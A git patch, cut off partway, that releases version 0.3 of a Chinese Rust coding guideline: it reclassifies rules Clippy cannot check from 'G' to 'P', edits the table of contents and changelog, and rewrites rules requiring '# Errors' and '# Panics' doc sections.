From 0d85c721d1adf89a0b4bdf3806a71edf53b21bd6 Mon Sep 17 00:00:00 2001 From: blackanger Date: Thu, 24 Mar 2022 00:52:29 +0800 Subject: [PATCH 1/4] V 0.3 --- Changelog.md | 8 ++ README.md | 1 + src/SUMMARY.md | 81 ++++++++-------- src/overview.md | 1 + src/safe-guides/Appendix/dev_env.md | 6 +- src/safe-guides/Appendix/terms.md | 2 +- src/safe-guides/code_style/comments.md | 14 +-- .../code_style/comments/G.CMT.01.md | 41 ++++---- .../code_style/comments/G.CMT.02.md | 64 +++++-------- .../code_style/comments/G.CMT.03.md | 77 ++++++++------- .../code_style/comments/G.CMT.04.md | 41 +------- .../code_style/comments/G.CMT.05.md | 38 +------- .../code_style/comments/G.CMT.06.md | 42 -------- .../code_style/comments/G.CMT.07.md | 55 ----------- .../code_style/comments/P.CMT.02.md | 38 ++++++++ .../code_style/comments/P.CMT.03.md | 58 +++++++++++ .../code_style/comments/P.CMT.04.md | 44 +++++++++ .../code_style/comments/P.CMT.05.md | 38 ++++++++ src/safe-guides/code_style/fmt.md | 35 +++---- src/safe-guides/code_style/fmt/G.FMT.01.md | 85 ---------------- src/safe-guides/code_style/fmt/P.FMT.01.md | 82 +++++++++++++++- .../fmt/{G.FMT.02.md => P.FMT.02.md} | 3 +- .../fmt/{G.FMT.03.md => P.FMT.03.md} | 4 +- .../fmt/{G.FMT.04.md => P.FMT.04.md} | 4 +- .../fmt/{G.FMT.05.md => P.FMT.05.md} | 4 +- .../fmt/{G.FMT.06.md => P.FMT.06.md} | 4 +- .../fmt/{G.FMT.07.md => P.FMT.07.md} | 4 +- .../fmt/{G.FMT.08.md => P.FMT.08.md} | 4 +- .../fmt/{G.FMT.09.md => P.FMT.09.md} | 4 +- .../fmt/{G.FMT.10.md => P.FMT.10.md} | 4 +- .../fmt/{G.FMT.11.md => P.FMT.11.md} | 4 +- .../fmt/{G.FMT.12.md => P.FMT.12.md} | 4 +- .../fmt/{G.FMT.13.md => P.FMT.13.md} | 4 +- .../fmt/{G.FMT.14.md => P.FMT.14.md} | 4 +- .../fmt/{G.FMT.15.md => P.FMT.15.md} | 4 +- .../fmt/{G.FMT.16.md => P.FMT.16.md} | 4 +- src/safe-guides/code_style/naming.md | 19 ++-- src/safe-guides/code_style/naming/G.NAM.01.md | 65 +++++++------ src/safe-guides/code_style/naming/G.NAM.02.md | 96 ++++++++++++------- src/safe-guides/code_style/naming/G.NAM.04.md | 76 --------------- src/safe-guides/code_style/naming/G.NAM.09.md | 33 ------- src/safe-guides/code_style/naming/P.NAM.03.md | 34 +++++++ .../naming/{G.NAM.03.md => P.NAM.04.md} | 11 +-- .../naming/{G.NAM.05.md => P.NAM.05.md} | 15 +-- .../naming/{G.NAM.06.md => P.NAM.06.md} | 4 +- .../naming/{G.NAM.07.md => P.NAM.07.md} | 2 +- .../naming/{G.NAM.08.md => P.NAM.08.md} | 14 +-- src/safe-guides/code_style/naming/P.NAM.09.md | 21 ++++ src/safe-guides/coding_practice/data-type.md | 3 +- .../data-type/char/G.TYP.CHR.03.md | 10 +- .../coding_practice/data-type/float.md | 3 +- .../data-type/float/G.TYP.FLT.03.md | 2 +- .../data-type/float/G.TYP.FLT.04.md | 2 +- .../data-type/float/G.TYP.FLT.05.md | 20 ++-- .../data-type/float/G.TYP.FLT.06.md | 31 ------ .../data-type/int/G.TYP.INT.01.md | 2 +- src/safe-guides/coding_practice/macros.md | 2 +- .../coding_practice/macros/G.MAC.01.md | 4 +- src/safe-guides/coding_practice/security.md | 2 + .../coding_practice/security/P.SEC.01.md | 18 ++++ .../coding_practice/unsafe_rust.md | 26 ++--- .../coding_practice/unsafe_rust/ffi.md | 6 +- .../ffi/{G.UNS.FFI.01.md => P.UNS.FFI.13.md} | 16 +--- .../ffi/{G.UNS.FFI.02.md => P.UNS.FFI.14.md} | 17 +--- .../ffi/{G.UNS.FFI.03.md => P.UNS.FFI.15.md} | 14 +-- .../io/{G.UNS.FIO.01.md => P.UNS.FIO.01.md} | 14 +-- .../coding_practice/unsafe_rust/raw_ptr.md | 4 +- .../{G.UNS.PTR.04.md => P.UNS.PTR.02.md} | 12 +-- .../{G.UNS.PTR.05.md => P.UNS.PTR.03.md} | 16 +--- .../unsafe_rust/safe_abstract.md | 11 ++- .../{G.UNS.SAS.03.md => P.UNS.SAS.05.md} | 14 +-- .../{G.UNS.SAS.04.md => P.UNS.SAS.06.md} | 16 +--- .../{G.UNS.SAS.05.md => P.UNS.SAS.07.md} | 10 +- .../{G.UNS.SAS.06.md => P.UNS.SAS.08.md} | 13 +-- .../{G.UNS.SAS.07.md => P.UNS.SAS.09.md} | 13 +-- .../coding_practice/unsafe_rust/union.md | 4 +- .../unsafe_rust/union/G.UNS.UNI.01.md | 40 -------- .../unsafe_rust/union/P.UNS.UNI.01.md | 28 ++++++ .../{G.UNS.UNI.02.md => P.UNS.UNI.02.md} | 14 +-- 79 files changed, 720 insertions(+), 967 deletions(-) delete mode 100644 src/safe-guides/code_style/comments/G.CMT.06.md delete mode 100644 src/safe-guides/code_style/comments/G.CMT.07.md create mode 100644 src/safe-guides/code_style/comments/P.CMT.02.md create mode 100644 src/safe-guides/code_style/comments/P.CMT.03.md create mode 100644 src/safe-guides/code_style/comments/P.CMT.04.md create mode 100644 src/safe-guides/code_style/comments/P.CMT.05.md delete mode 100644 src/safe-guides/code_style/fmt/G.FMT.01.md rename src/safe-guides/code_style/fmt/{G.FMT.02.md => P.FMT.02.md} (84%) rename src/safe-guides/code_style/fmt/{G.FMT.03.md => P.FMT.03.md} (87%) rename src/safe-guides/code_style/fmt/{G.FMT.04.md => P.FMT.04.md} (93%) rename src/safe-guides/code_style/fmt/{G.FMT.05.md => P.FMT.05.md} (91%) rename src/safe-guides/code_style/fmt/{G.FMT.06.md => P.FMT.06.md} (90%) rename src/safe-guides/code_style/fmt/{G.FMT.07.md => P.FMT.07.md} (93%) rename src/safe-guides/code_style/fmt/{G.FMT.08.md => P.FMT.08.md} (92%) rename src/safe-guides/code_style/fmt/{G.FMT.09.md => P.FMT.09.md} (93%) rename src/safe-guides/code_style/fmt/{G.FMT.10.md => P.FMT.10.md} (94%) rename src/safe-guides/code_style/fmt/{G.FMT.11.md => P.FMT.11.md} (94%) rename src/safe-guides/code_style/fmt/{G.FMT.12.md => P.FMT.12.md} (93%) rename src/safe-guides/code_style/fmt/{G.FMT.13.md => P.FMT.13.md} (90%) rename src/safe-guides/code_style/fmt/{G.FMT.14.md => P.FMT.14.md} (87%) rename src/safe-guides/code_style/fmt/{G.FMT.15.md => P.FMT.15.md} (90%) rename src/safe-guides/code_style/fmt/{G.FMT.16.md => P.FMT.16.md} (89%) delete mode 100644 src/safe-guides/code_style/naming/G.NAM.04.md delete mode 100644 src/safe-guides/code_style/naming/G.NAM.09.md create mode 100644 src/safe-guides/code_style/naming/P.NAM.03.md rename src/safe-guides/code_style/naming/{G.NAM.03.md => P.NAM.04.md} (69%) rename src/safe-guides/code_style/naming/{G.NAM.05.md => P.NAM.05.md} (87%) rename src/safe-guides/code_style/naming/{G.NAM.06.md => P.NAM.06.md} (95%) rename src/safe-guides/code_style/naming/{G.NAM.07.md => P.NAM.07.md} (91%) rename src/safe-guides/code_style/naming/{G.NAM.08.md => P.NAM.08.md} (60%) create mode 100644 src/safe-guides/code_style/naming/P.NAM.09.md delete mode 100644 src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.06.md create mode 100644 src/safe-guides/coding_practice/security/P.SEC.01.md rename src/safe-guides/coding_practice/unsafe_rust/ffi/{G.UNS.FFI.01.md => P.UNS.FFI.13.md} (59%) rename src/safe-guides/coding_practice/unsafe_rust/ffi/{G.UNS.FFI.02.md => P.UNS.FFI.14.md} (67%) rename src/safe-guides/coding_practice/unsafe_rust/ffi/{G.UNS.FFI.03.md => P.UNS.FFI.15.md} (52%) rename src/safe-guides/coding_practice/unsafe_rust/io/{G.UNS.FIO.01.md => P.UNS.FIO.01.md} (66%) rename src/safe-guides/coding_practice/unsafe_rust/raw_ptr/{G.UNS.PTR.04.md => P.UNS.PTR.02.md} (54%) rename src/safe-guides/coding_practice/unsafe_rust/raw_ptr/{G.UNS.PTR.05.md => P.UNS.PTR.03.md} (61%) rename src/safe-guides/coding_practice/unsafe_rust/safe_abstract/{G.UNS.SAS.03.md => P.UNS.SAS.05.md} (80%) rename src/safe-guides/coding_practice/unsafe_rust/safe_abstract/{G.UNS.SAS.04.md => P.UNS.SAS.06.md} (70%) rename src/safe-guides/coding_practice/unsafe_rust/safe_abstract/{G.UNS.SAS.05.md => P.UNS.SAS.07.md} (73%) rename src/safe-guides/coding_practice/unsafe_rust/safe_abstract/{G.UNS.SAS.06.md => P.UNS.SAS.08.md} (85%) rename src/safe-guides/coding_practice/unsafe_rust/safe_abstract/{G.UNS.SAS.07.md => P.UNS.SAS.09.md} (87%) delete mode 100644 src/safe-guides/coding_practice/unsafe_rust/union/G.UNS.UNI.01.md create mode 100644 src/safe-guides/coding_practice/unsafe_rust/union/P.UNS.UNI.01.md rename src/safe-guides/coding_practice/unsafe_rust/union/{G.UNS.UNI.02.md => P.UNS.UNI.02.md} (62%) diff --git a/Changelog.md b/Changelog.md index a6f9e968..3db93f43 100644 --- a/Changelog.md +++ b/Changelog.md @@ -9,3 +9,11 @@ 3. 删除了一些不需要放到规范中条目。 4. 为一些规则丰富和精简了很多代码示例。 5. 移除规范中引用的不符合`MIT/Apache/Mozilla public licenses` 的开源配置和代码示例。 + +## V 0.3 发布 + +改进： + +- 将当前无法使用 Clippy 检查的规则（G）统一修改为了原则（P） +- 删除和修复一些条款 +- 新增 信息安全 `P.SEC.01` 条款 \ No newline at end of file diff --git a/README.md b/README.md index 4866cf36..b359e623 100644 --- a/README.md +++ b/README.md @@ -4,6 +4,7 @@ - 《Rust 编码规范》初稿发布 2021-10-31 (V 0.1) - 《Rust 编码规范》经社区和公司内第一次评审版本发布 2022-02 (V 0.2) ，改进内容参考 [Changelog](./Changelog.md)。 +- 《Rust 编码规范》经社区和公司内第一次评审版本发布 2022-03 (V 0.3) ，改进内容参考 [Changelog](./Changelog.md)。 ## 介绍 diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 403b6e50..3bc8ed8f 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -7,42 +7,41 @@ - [命名](./safe-guides/code_style/naming.md) - [P.NAM.01](./safe-guides/code_style/naming/P.NAM.01.md) - [P.NAM.02](./safe-guides/code_style/naming/P.NAM.02.md) + - [P.NAM.03](./safe-guides/code_style/naming/P.NAM.03.md) + - [P.NAM.04](./safe-guides/code_style/naming/P.NAM.04.md) + - [P.NAM.05](./safe-guides/code_style/naming/P.NAM.05.md) + - [P.NAM.06](./safe-guides/code_style/naming/P.NAM.06.md) + - [P.NAM.07](./safe-guides/code_style/naming/P.NAM.07.md) + - [P.NAM.08](./safe-guides/code_style/naming/P.NAM.08.md) + - [P.NAM.09](./safe-guides/code_style/naming/P.NAM.09.md) - [G.NAM.01](./safe-guides/code_style/naming/G.NAM.01.md) - [G.NAM.02](./safe-guides/code_style/naming/G.NAM.02.md) - - [G.NAM.03](./safe-guides/code_style/naming/G.NAM.03.md) - - [G.NAM.04](./safe-guides/code_style/naming/G.NAM.04.md) - - [G.NAM.05](./safe-guides/code_style/naming/G.NAM.05.md) - - [G.NAM.06](./safe-guides/code_style/naming/G.NAM.06.md) - - [G.NAM.07](./safe-guides/code_style/naming/G.NAM.07.md) - - [G.NAM.08](./safe-guides/code_style/naming/G.NAM.08.md) - - [G.NAM.09](./safe-guides/code_style/naming/G.NAM.09.md) - [格式](./safe-guides/code_style/fmt.md) - [P.FMT.01](./safe-guides/code_style/fmt/P.FMT.01.md) - - [G.FMT.01](./safe-guides/code_style/fmt/G.FMT.01.md) - - [G.FMT.02](./safe-guides/code_style/fmt/G.FMT.02.md) - - [G.FMT.03](./safe-guides/code_style/fmt/G.FMT.03.md) - - [G.FMT.04](./safe-guides/code_style/fmt/G.FMT.04.md) - - [G.FMT.05](./safe-guides/code_style/fmt/G.FMT.05.md) - - [G.FMT.06](./safe-guides/code_style/fmt/G.FMT.06.md) - - [G.FMT.07](./safe-guides/code_style/fmt/G.FMT.07.md) - - [G.FMT.08](./safe-guides/code_style/fmt/G.FMT.08.md) - - [G.FMT.09](./safe-guides/code_style/fmt/G.FMT.09.md) - - [G.FMT.10](./safe-guides/code_style/fmt/G.FMT.10.md) - - [G.FMT.11](./safe-guides/code_style/fmt/G.FMT.11.md) - - [G.FMT.12](./safe-guides/code_style/fmt/G.FMT.12.md) - - [G.FMT.13](./safe-guides/code_style/fmt/G.FMT.13.md) - - [G.FMT.14](./safe-guides/code_style/fmt/G.FMT.14.md) - - [G.FMT.15](./safe-guides/code_style/fmt/G.FMT.15.md) - - [G.FMT.16](./safe-guides/code_style/fmt/G.FMT.16.md) + - [P.FMT.02](./safe-guides/code_style/fmt/P.FMT.02.md) + - [P.FMT.03](./safe-guides/code_style/fmt/P.FMT.03.md) + - [P.FMT.04](./safe-guides/code_style/fmt/P.FMT.04.md) + - [P.FMT.05](./safe-guides/code_style/fmt/P.FMT.05.md) + - [P.FMT.06](./safe-guides/code_style/fmt/P.FMT.06.md) + - [P.FMT.07](./safe-guides/code_style/fmt/P.FMT.07.md) + - [P.FMT.08](./safe-guides/code_style/fmt/P.FMT.08.md) + - [P.FMT.09](./safe-guides/code_style/fmt/P.FMT.09.md) + - [P.FMT.10](./safe-guides/code_style/fmt/P.FMT.10.md) + - [P.FMT.11](./safe-guides/code_style/fmt/P.FMT.11.md) + - [P.FMT.12](./safe-guides/code_style/fmt/P.FMT.12.md) + - [P.FMT.13](./safe-guides/code_style/fmt/P.FMT.13.md) + - [P.FMT.14](./safe-guides/code_style/fmt/P.FMT.14.md) + - [P.FMT.15](./safe-guides/code_style/fmt/P.FMT.15.md) + - [P.FMT.16](./safe-guides/code_style/fmt/P.FMT.16.md) - [注释](./safe-guides/code_style/comments.md) - [P.CMT.01](./safe-guides/code_style/comments/P.CMT.01.md) + - [P.CMT.02](./safe-guides/code_style/comments/P.CMT.02.md) + - [P.CMT.03](./safe-guides/code_style/comments/P.CMT.03.md) + - [P.CMT.04](./safe-guides/code_style/comments/G.CMT.04.md) + - [P.CMT.05](./safe-guides/code_style/comments/G.CMT.05.md) - [G.CMT.01](./safe-guides/code_style/comments/G.CMT.01.md) - [G.CMT.02](./safe-guides/code_style/comments/G.CMT.02.md) - [G.CMT.03](./safe-guides/code_style/comments/G.CMT.03.md) - - [G.CMT.04](./safe-guides/code_style/comments/G.CMT.04.md) - - [G.CMT.05](./safe-guides/code_style/comments/G.CMT.05.md) - - [G.CMT.06](./safe-guides/code_style/comments/G.CMT.06.md) - - [G.CMT.07](./safe-guides/code_style/comments/G.CMT.07.md) - [编码实践](./safe-guides/coding_practice.md) - [常量](./safe-guides/coding_practice/consts.md) - [G.CNS.01](./safe-guides/coding_practice/consts/G.CNS.01.md) @@ -85,7 +84,6 @@ - [G.TYP.FLT.03](./safe-guides/coding_practice/data-type/float/G.TYP.FLT.03.md) - [G.TYP.FLT.04](./safe-guides/coding_practice/data-type/float/G.TYP.FLT.04.md) - [G.TYP.FLT.05](./safe-guides/coding_practice/data-type/float/G.TYP.FLT.05.md) - - [G.TYP.FLT.06](./safe-guides/coding_practice/data-type/float/G.TYP.FLT.06.md) - [切片](./safe-guides/coding_practice/data-type/slice.md) - [P.TYP.SLC.01](./safe-guides/coding_practice/data-type/slice/P.TYP.SLC.01.md) - [P.TYP.SLC.02](./safe-guides/coding_practice/data-type/slice/P.TYP.SLC.02.md) @@ -255,23 +253,23 @@ - [P.UNS.SAS.02](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.02.md) - [P.UNS.SAS.03](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.03.md) - [P.UNS.SAS.04](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.04.md) + - [P.UNS.SAS.05](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.05.md) + - [P.UNS.SAS.06](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.06.md) + - [P.UNS.SAS.07](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.07.md) + - [P.UNS.SAS.08](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.08.md) + - [P.UNS.SAS.09](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.09.md) - [G.UNS.SAS.01](./safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.01.md) - [G.UNS.SAS.02](./safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.02.md) - - [G.UNS.SAS.03](./safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.03.md) - - [G.UNS.SAS.04](./safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.04.md) - - [G.UNS.SAS.05](./safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.05.md) - - [G.UNS.SAS.06](./safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.06.md) - - [G.UNS.SAS.07](./safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.07.md) - [裸指针操作](./safe-guides/coding_practice/unsafe_rust/raw_ptr.md) - [P.UNS.PTR.01](./safe-guides/coding_practice/unsafe_rust/raw_ptr/P.UNS.PTR.01.md) + - [P.UNS.PTR.02](./safe-guides/coding_practice/unsafe_rust/raw_ptr/P.UNS.PTR.02.md) + - [P.UNS.PTR.03](./safe-guides/coding_practice/unsafe_rust/raw_ptr/P.UNS.PTR.03.md) - [G.UNS.PTR.01](./safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.01.md) - [G.UNS.PTR.02](./safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.02.md) - [G.UNS.PTR.03](./safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.03.md) - - [G.UNS.PTR.04](./safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.04.md) - - [G.UNS.PTR.05](./safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.05.md) - [联合体](./safe-guides/coding_practice/unsafe_rust/union.md) - - [G.UNS.UNI.01](./safe-guides/coding_practice/unsafe_rust/union/G.UNS.UNI.01.md) - - [G.UNS.UNI.02](./safe-guides/coding_practice/unsafe_rust/union/G.UNS.UNI.02.md) + - [P.UNS.UNI.01](./safe-guides/coding_practice/unsafe_rust/union/P.UNS.UNI.01.md) + - [P.UNS.UNI.02](./safe-guides/coding_practice/unsafe_rust/union/P.UNS.UNI.02.md) - [内存](./safe-guides/coding_practice/unsafe_rust/mem.md) - [P.UNS.MEM.01](./safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.01.md) - [P.UNS.MEM.02](./safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.02.md) @@ -292,11 +290,11 @@ - [P.UNS.FFI.10](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.10.md) - [P.UNS.FFI.11](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.11.md) - [P.UNS.FFI.12](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.12.md) - - [G.UNS.FFI.01](./safe-guides/coding_practice/unsafe_rust/ffi/G.UNS.FFI.01.md) - - [G.UNS.FFI.02](./safe-guides/coding_practice/unsafe_rust/ffi/G.UNS.FFI.02.md) - - [G.UNS.FFI.03](./safe-guides/coding_practice/unsafe_rust/ffi/G.UNS.FFI.03.md) + - [P.UNS.FFI.13](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.13.md) + - [P.UNS.FFI.14](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.14.md) + - [P.UNS.FFI.15](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.15.md) - [I/O](./safe-guides/coding_practice/unsafe_rust/io.md) - - [G.UNS.FIO.01](./safe-guides/coding_practice/unsafe_rust/io/G.UNS.FIO.01.md) + - [P.UNS.FIO.01](./safe-guides/coding_practice/unsafe_rust/io/P.UNS.FIO.01.md) - [Unsafe 代码术语指南](./safe-guides/coding_practice/unsafe_rust/glossary.md) - [no-std](./safe-guides/coding_practice/no-std.md) - [P.EMB.01](./safe-guides/coding_practice/no-std/P.EMB.01.md) @@ -305,6 +303,7 @@ - [P.FIO.01](./safe-guides/coding_practice/io/P.FIO.01.md) - [G.FIO.01](./safe-guides/coding_practice/io/G.FIO.01.md) - [信息安全](./safe-guides/coding_practice/security.md) + - [P.SEC.01](./safe-guides/coding_practice/security/P.SEC.01.md) - [G.SEC.01](./safe-guides/coding_practice/security/G.SEC.01.md) - [其他](./safe-guides/coding_practice/others.md) - [G.OTH.01](./safe-guides/coding_practice/others/G.OTH.01.md) diff --git a/src/overview.md b/src/overview.md index b9452bfe..5f765e73 100644 --- a/src/overview.md +++ b/src/overview.md @@ -4,6 +4,7 @@ - 《Rust 编码规范》初稿发布 2021-10-31 (V 0.1) - 《Rust 编码规范》经社区和公司内第一次评审版本发布 2022-02 (V 0.2) +- 《Rust 编码规范》经社区和公司内第一次评审版本发布 2022-03 (V 0.3) ## 详细 diff --git a/src/safe-guides/Appendix/dev_env.md b/src/safe-guides/Appendix/dev_env.md index e1de11b4..fa12688d 100644 --- a/src/safe-guides/Appendix/dev_env.md +++ b/src/safe-guides/Appendix/dev_env.md @@ -20,9 +20,9 @@ Clion Rust从2015开始，每三年发布一个 Edition 版次： -> 1. Rust 2015 edition （Rust 0.1.0 ~ Rust 1.0.0） -> 2. Rust 2018 edition （Rust 1.0.0 ~ Rust 1.31.0） -> 3. Rust 2021 edition (Rust 1.31.0 ~ Rust 1.56.0 ) +> 1. Rust 2015 edition （Rust 1.0.0 + ） +> 2. Rust 2018 edition （Rust 1.31.0 +） +> 3. Rust 2021 edition (Rust 1.56.0 +) 以此类推。Edition是向前兼容的。Edition 和语义化版本是正交的，不冲突。 diff --git a/src/safe-guides/Appendix/terms.md b/src/safe-guides/Appendix/terms.md index 0d4c0628..698800f8 100644 --- a/src/safe-guides/Appendix/terms.md +++ b/src/safe-guides/Appendix/terms.md @@ -31,7 +31,6 @@ attribute | 属性 | automated building | 自动构建 | automated test | 自动测试，自动化测试 | **B** | | -baroque macro | 巴洛克宏 | benchmark | 基准 | binary | 二进制的 | binary executable | 二进制的可执行文件 | @@ -115,6 +114,7 @@ dot operator | 点运算符 | DST | 动态大小类型 | dynamic sized type，一般不译，
使用英文缩写形式 dynamic language | 动态类型语言 | dynamic trait type | 动态特质类型 | +declarative macros | 声明宏 | **E** | | enumeration | 枚举 | encapsulation | 封装 | diff --git a/src/safe-guides/code_style/comments.md b/src/safe-guides/code_style/comments.md index f2974069..cb147264 100644 --- a/src/safe-guides/code_style/comments.md +++ b/src/safe-guides/code_style/comments.md @@ -8,13 +8,13 @@ ## 列表 - [P.CMT.01 代码能做到自注释，文档要干练简洁](./comments/P.CMT.01.md) -- [G.CMT.01 注释应该有一定宽度限制](./comments/G.CMT.01.md) -- [G.CMT.02 使用行注释而避免使用块注释](./comments/G.CMT.02.md) -- [G.CMT.03 文件头注释包含版权说明](./comments/G.CMT.03.md) -- [G.CMT.04 在注释中使用 FIXME 和 TODO 来帮助任务协作](./comments/G.CMT.04.md) -- [G.CMT.05 在公开的返回Result类型返回的函数文档中增加 Error 注释](./comments/G.CMT.05.md) -- [G.CMT.06 如果公开的API在某些情况下会发生Panic，则相应文档中需增加 Panic 注释](./comments/G.CMT.06.md) -- [G.CMT.07 在文档注释中要使用空格代替 tab](./comments/G.CMT.07.md) +- [P.CMT.02 注释应该有一定宽度限制](./comments/P.CMT.02.md) +- [P.CMT.03 使用行注释而避免使用块注释](./comments/P.CMT.03.md) +- [P.CMT.04 文件头注释包含版权说明](./comments/P.CMT.04.md) +- [P.CMT.05 在注释中使用 FIXME 和 TODO 来帮助任务协作](./comments/P.CMT.05.md) +- [G.CMT.01 在公开的返回Result类型返回的函数文档中增加 Error 注释](./comments/G.CMT.01.md) +- [G.CMT.02 如果公开的API在某些情况下会发生Panic，则相应文档中需增加 Panic 注释](./comments/G.CMT.02.md) +- [G.CMT.03 在文档注释中要使用空格代替 tab](./comments/G.CMT.03.md) ## 参考 diff --git a/src/safe-guides/code_style/comments/G.CMT.01.md b/src/safe-guides/code_style/comments/G.CMT.01.md index e5d017d8..4e0c8028 100644 --- a/src/safe-guides/code_style/comments/G.CMT.01.md +++ b/src/safe-guides/code_style/comments/G.CMT.01.md @@ -1,40 +1,37 @@ -## G.CMT.01 注释应该有一定宽度限制 +## G.CMT.01 在 公开的返回`Result`类型返回的函数文档中增加 Error 注释 **【级别】** 建议 **【描述】** -每行注释的宽度不能过长，需要设置一定的宽度，有助于提升可读性。`comment_width`可配合 `wrap_comments` 将超过宽度限制的注释自动分割为多行。 +在公开（pub）的返回`Result`类型函数文档中，建议增加 `# Error` 注释来解释什么场景下该函数会返回什么样的错误类型，方便用户处理错误。 -注意：`use_small_heuristics`配置项并不包括`comment_width`。 +说明： 该规则通过 cargo clippy 来检测。默认不会警告。 **【反例】** ```rust -// Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. +# use std::io; +pub fn read(filename: String) -> io::Result { + unimplemented!(); +} ``` **【正例】** -当 `comment_width=80` 且 `wrap_comments=true`时。 - -注意：这里 `wrap_comments`并未使用默认值，需要配置为 true。 - ```rust -// Lorem ipsum dolor sit amet, consectetur adipiscing elit, -// sed do eiusmod tempor incididunt ut labore et dolore -// magna aliqua. Ut enim ad minim veniam, quis nostrud -// exercitation ullamco laboris nisi ut aliquip ex ea -// commodo consequat. +# use std::io; +/// # Errors +/// +/// Will return `Err` if `filename` does not exist or the user does not have +/// permission to read it. +pub fn read(filename: String) -> io::Result { + unimplemented!(); +} ``` -**【rustfmt 配置】** - -此规则 Clippy 不可检测，由 rustfmt 自动格式化。 - -rustfmt 配置： +**【Lint 检测】** -| 对应选项 | 可选值 | 是否 stable | 说明 | -| ------ | ---- | ---- | ---- | -| [`comment_width`](https://rust-lang.github.io/rustfmt/?#comment_width) | 80（默认） | No| 指定一行注释允许的最大宽度 | -| [`wrap_comments`](https://rust-lang.github.io/rustfmt/?#wrap_comments) | false（默认），true（建议） | No| 运行多行注释按最大宽度自动换成多行注释 | \ No newline at end of file +| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 默认 level | +| ------ | ---- | --------- | ------ | ------ | +| [missing_errors_doc ](https://rust-lang.github.io/rust-clippy/master/index.html#missing_errors_doc ) | yes| no | Style | allow | \ No newline at end of file diff --git a/src/safe-guides/code_style/comments/G.CMT.02.md b/src/safe-guides/code_style/comments/G.CMT.02.md index 1fd7f4f6..bea90809 100644 --- a/src/safe-guides/code_style/comments/G.CMT.02.md +++ b/src/safe-guides/code_style/comments/G.CMT.02.md @@ -1,60 +1,42 @@ -## G.CMT.02 使用行注释而避免使用块注释 +## G.CMT.02 如果公开的API在某些情况下会发生Panic，则相应文档中需增加 Panic 注释 -**【级别】** 建议 +**【级别】** 要求 **【描述】** -尽量使用行注释（`//` 或 `///`），而非块注释。这是Rust社区的约定俗成。 +在公开（pub）函数文档中，建议增加 `# Panic` 注释来解释该函数在什么条件下会 Panic，便于使用者进行预处理。 -对于文档注释，仅在编写模块级文档时使用 `//!`，在其他情况使用 `///`更好。 +说明： 该规则通过 cargo clippy 来检测。默认不会警告。 **【反例】** ```rust -/* - * Wait for the main task to return, and set the process error code - * appropriately. - */ - -mod tests { - //! This module contains tests - - // ... +pub fn divide_by(x: i32, y: i32) -> i32 { + if y == 0 { + panic!("Cannot divide by 0") + } else { + x / y + } } - -#![doc = "Example documentation"] - -#[doc = "Example item documentation"] -pub enum Foo {} ``` **【正例】** -当 `normalize_comments = true` 时： - ```rust -// Wait for the main task to return, and set the process error code -// appropriately. - -// 在使用 `mod` 关键字定义模块时，在 `mod`之上使用 `///` 更好。 -/// This module contains tests -mod tests { - // ... +/// # Panics +/// +/// Will panic if y is 0 +pub fn divide_by(x: i32, y: i32) -> i32 { + if y == 0 { + panic!("Cannot divide by 0") + } else { + x / y + } } - -//! Example documentation - -/// Example item documentation -pub enum Foo {} ``` -**【rustfmt 配置】** - -此规则 Clippy 不可检测，由 rustfmt 自动格式化。 - -rustfmt 配置： +**【Lint 检测】** -| 对应选项 | 可选值 | 是否 stable | 说明 | -| ------ | ---- | ---- | ---- | -| [`normalize_comments`](https://rust-lang.github.io/rustfmt/?#normalize_comments) | false（默认） true（推荐） | No| 将 `/**/` 注释转为 `//`| -| [`normalize_doc_attributes`](https://rust-lang.github.io/rustfmt/?#normalize_doc_attributes) | false（默认） | No| 将 `#![doc]` 和 `#[doc]` 注释转为 `//!` 和 `///` | \ No newline at end of file +| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 默认 level | +| ------ | ---- | --------- | ------ | ------ | +| [missing_panics_doc ](https://rust-lang.github.io/rust-clippy/master/index.html#missing_panics_doc ) | yes| no | Style | allow | \ No newline at end of file diff --git a/src/safe-guides/code_style/comments/G.CMT.03.md b/src/safe-guides/code_style/comments/G.CMT.03.md index 9052a1c8..1ed9b49f 100644 --- a/src/safe-guides/code_style/comments/G.CMT.03.md +++ b/src/safe-guides/code_style/comments/G.CMT.03.md @@ -1,46 +1,55 @@ -## G.CMT.03 文件头注释包含版权说明 +## G.CMT.03 在文档注释中要使用空格代替 tab **【级别】** 